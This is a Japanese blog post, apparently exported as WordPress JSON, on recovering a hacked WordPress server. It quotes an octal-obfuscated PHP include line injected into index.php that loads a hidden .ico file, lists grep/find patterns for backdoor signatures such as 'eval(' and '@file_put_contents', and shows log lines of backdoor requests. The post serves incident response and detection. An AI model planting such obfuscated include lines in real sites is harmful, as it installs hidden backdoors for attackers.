{"id":1763,"date":"2020-09-23T10:36:57","date_gmt":"2020-09-23T01:36:57","guid":{"rendered":"http:\/\/wp.ultimai.org\/wp\/?p=1763"},"modified":"2020-11-23T09:44:00","modified_gmt":"2020-11-23T00:44:00","slug":"post-1763","status":"publish","type":"post","link":"https:\/\/wp.ultimai.org\/?p=1763","title":{"rendered":"WordPress \u4e0d\u6b63\u4fb5\u5165\u5f8c\u306e\u5bfe\u51e6 \u6539\u3056\u3093\u5bfe\u7b56"},"content":{"rendered":"

\u30b5\u30fc\u30d0\u30fc\u4e0d\u6b63\u4fb5\u5165 \u4e0d\u6b63\u30d5\u30a1\u30a4\u30eb\u691c\u7d22<\/h3>\n
\r\n\\@include \u201c\\057va\\162\/w\\167w\/\\166ho\\163ts\\057gr\\163.c\\141t\/\\150tt\\160do\\143s\/\\060OL\\104_S\\111TE\\057Bl\\141de\\137fl\\141sk\\137ar\\143hi\\166os\\057.1\\0662e\\070ba\\065.i\\143o\u201d;\r\n<\/pre>\n
\u3042\u3061\u3053\u3061\u306eindex.php\u306b\u3053\u3093\u306a\u6587\u5b57\u5217\u304c\u884c\u633f\u5165\u3055\u308c\u3066\u3044\u308b<\/p>\n
\u4e0d\u5be9\u306a\u6587\u5b57\u5217\u306f\u3053\u3053\u3067\u30c7\u30b3\u30fc\u30c9\u3059\u308b
\nhttps:\/\/malwaredecoder.com\/ <\/p>\n
 \r\nvar\/www\/html\/wp-includes\/PHPMailer\/.136cf3b7.ico\r\n<\/pre>\n
\u3092\u8aad\u307f\u8fbc\u3080\u3089\u3057\u3044\u3002<\/p>\n
\u30d7\u30e9\u30b0\u30a4\u30f3 https:\/\/ja.wordpress.org\/plugins\/wp-simple-firewall\/
\n\u3092\u5165\u308c\u308b \u2192 shield Security\u306b\u3088\u308b\u8a8d\u8b58\u3055\u308c\u3066\u3044\u306a\u3044file\u306e\u30b9\u30ad\u30e3\u30f3
\n\u2192 \u898b\u3064\u304b\u3063\u305f\u30d5\u30a1\u30a4\u30eb\u306f\u524a\u9664<\/p>\n
\u30bf\u30fc\u30df\u30ca\u30eb\u304b\u3089\u6587\u5b57\u5217\u691c\u7d22\u3057\u3066\u898b\u3064\u304b\u3063\u305f\u30d5\u30a1\u30a4\u30eb\u306fvi\u3067\u958b\u3044\u3066\u884c\u524a\u9664
\n\u602a\u3057\u3044\u30d5\u30a1\u30a4\u30eb\u3068\u540c\u3058\u65e5\u4ed8\u306b\u66f4\u65b0\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3082\u524a\u9664\u304b\u884c\u524a\u9664<\/p>\n
 \r\n grep -r ';}exit();}} ?><?php' .\/*\r\n find .\/ -name '*.php'  -type f -print | xargs grep '057va'\r\n find .\/ '*.php' -type f -print | xargs grep '@file_put_contents'\r\n find .\/ -name '*.php'  -type f -print | xargs grep 'eval('\r\n find .\/ -name '*.php'  -type f -print | xargs grep 'Array();global'\r\n find . -type f -name '*.php' -newermt '2020-10-01'\r\n<\/code><\/pre>\n
\u30b5\u30fc\u30d0\u30fc\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u5168\u3066\u5909\u66f4\u3059\u308b
\n\u9375\u30d5\u30a1\u30a4\u30eb\u3082\u5909\u66f4\u3059\u308b<\/p>\n
\u4e0d\u5be9\u306a\u30d5\u30a1\u30a4\u30eb\u306e\u6240\u6709\u8005\u306fapache\u306b\u306a\u3063\u3066\u3044\u308b\u306e\u3067WEB\u30a2\u30af\u30bb\u30b9\u3067\u7f6e\u304b\u308c\u305f\u53ef\u80fd\u6027\u304c\u9ad8\u3044<\/p>\n
backDoor rootkit\u306e\u691c\u7d22 \u6539\u3056\u3093\u5bfe\u7b56 \u305d\u306e2<\/h3>\n
 \r\n\u66f8\u8fbc\u307f\u53ef\u80fd\u306a\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3078\u306ephp\u304c\u3042\u308c\u3070\u6d88\u3059\r\nfind \/var\/www\/\u25cb\u25cb.com\/wp-content\/uploads\/ -name \"*.php\"\r\n <\/code><\/pre>\n
\u9069\u5f53\u306a\u5834\u6240\u306b\u9069\u5f53\u306a\u540d\u524d.php\u3067\u66f8\u8fbc\u307f\u53ef\u80fd\u306a\u56ee\u30d5\u30a1\u30a4\u30eb\u306e\u4f5c\u6210<\/p>\n
 \r\n\u5b9f\u884c\u3055\u308c\u3066\u3082 500 server error\u306b\u306a\u308b\u3088\u3046\u306b\u3057\u3066\u304a\u304f  \r\n<?php\r\n\r\n<?php\r\n <\/code><\/pre>\n
\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u66f8\u304d\u63db\u3048\u3092\u691c\u77e5\u3059\u308b\u30b7\u30a7\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f5c\u6210\uff64cron\u30671m\u7f6e\u304d\u306b\u5b9f\u884c\u3057\u30a2\u30e9\u30fc\u30c8\u3092\u9001\u308b
\n\u66f8\u304d\u63db\u3048\u3089\u308c\u305f\u6642\u523b\u3092\u30ed\u30b0\u304b\u3089\u63a2\u3059<\/p>\n
 \r\n51.68.11.215 - - [22\/Oct\/2020:15:13:03 +0900] \"GET \/\u30d1\u30b9\/.git\/objects\/kxzrvytc.php \u2190 backDoor\r\n160.153.147.130 - - [22\/Oct\/2020:15:13:06 +0900] \"GET \/\u30d1\u30b9\/\u56ee\u30d5\u30a1\u30a4\u30eb.php HTTP\/1.0\" 500 -\r\n <\/code><\/pre>\n
\u898b\u3064\u304b\u3063\u305fbackDoor\u306f\u4ed6\u306b\u3082\u3042\u308b\u306e\u3067\uff64\u6587\u5b57\u5217\u30d1\u30bf\u30fc\u30f3\u304b\u3089DocumentRoot\u4ee5\u4e0b\u3092\u691c\u7d22\u3057\u524a\u9664<\/p>\n","protected":false},"excerpt":{"rendered":"
\u30b5\u30fc\u30d0\u30fc\u4e0d\u6b63\u4fb5\u5165 \u4e0d\u6b63\u30d5\u30a1\u30a4\u30eb\u691c\u7d22 \\@inclu […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[31],"tags":[],"class_list":["post-1763","post","type-post","status-publish","format-standard","hentry","category-security"],"_links":{"self":[{"href":"https:\/\/wp.ultimai.org\/index.php?rest_route=\/wp\/v2\/posts\/1763","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wp.ultimai.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wp.ultimai.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wp.ultimai.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/wp.ultimai.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1763"}],"version-history":[{"count":2,"href":"https:\/\/wp.ultimai.org\/index.php?rest_route=\/wp\/v2\/posts\/1763\/revisions"}],"predecessor-version":[{"id":1865,"href":"https:\/\/wp.ultimai.org\/index.php?rest_route=\/wp\/v2\/posts\/1763\/revisions\/1865"}],"wp:attachment":[{"href":"https:\/\/wp.ultimai.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1763"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wp.ultimai.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1763"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wp.ultimai.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1763"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}